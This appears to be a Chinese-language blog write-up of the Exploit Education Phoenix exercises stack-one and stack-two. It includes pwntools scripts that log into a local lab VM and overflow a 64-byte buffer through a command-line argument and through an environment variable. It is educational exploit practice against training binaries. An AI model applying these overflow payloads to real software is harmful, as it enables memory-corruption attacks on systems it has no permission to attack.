BuringStraw

BuringStraw

[pwn Note 1] stack-one and stack-two (Phoenix)

這兩個非常簡單,只有輸入數據的方式有所區別。和 zero 一樣,只是對於覆蓋的數據有要求。

stack-one#

將程序的第一個參數strcpy到字符串中。

https://s2.loli.net/2023/02/15/P3IYOneKUiS6vNV.png

在 gdb 中,直接在 run 後面添加參數即可帶入參數。

pwntools 的 sh.run 可以接收字節數組作為參數,其中可以包含啟動參數。(查看了文檔,對於 run 方法:向後兼容。使用 system()

from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)

s = b"a" * 0x40 + p32(0x496c5962)

sh = shell.run(b"/opt/phoenix/amd64/stack-one " + s)
print(sh.recvlines(2))

stack-two#

這次是寫入環境變量中。

https://s2.loli.net/2023/02/15/NhRfz7Ciw8UavO4.png

在這裡發現將 "\0" 寫入環境變量會出現問題,我們要求寫入的是 32 位數據,不應該使用 p64,使用了會自動補 0,然後報錯。

from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)

s = b"a" * 0x40 + p32(0x0d0a090a)
print(s)
s = s.decode()
print(s)
sh = shell.run(b"/opt/phoenix/amd64/stack-two", env={"ExploitEducation": s})
print(sh.recvlines(2))

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。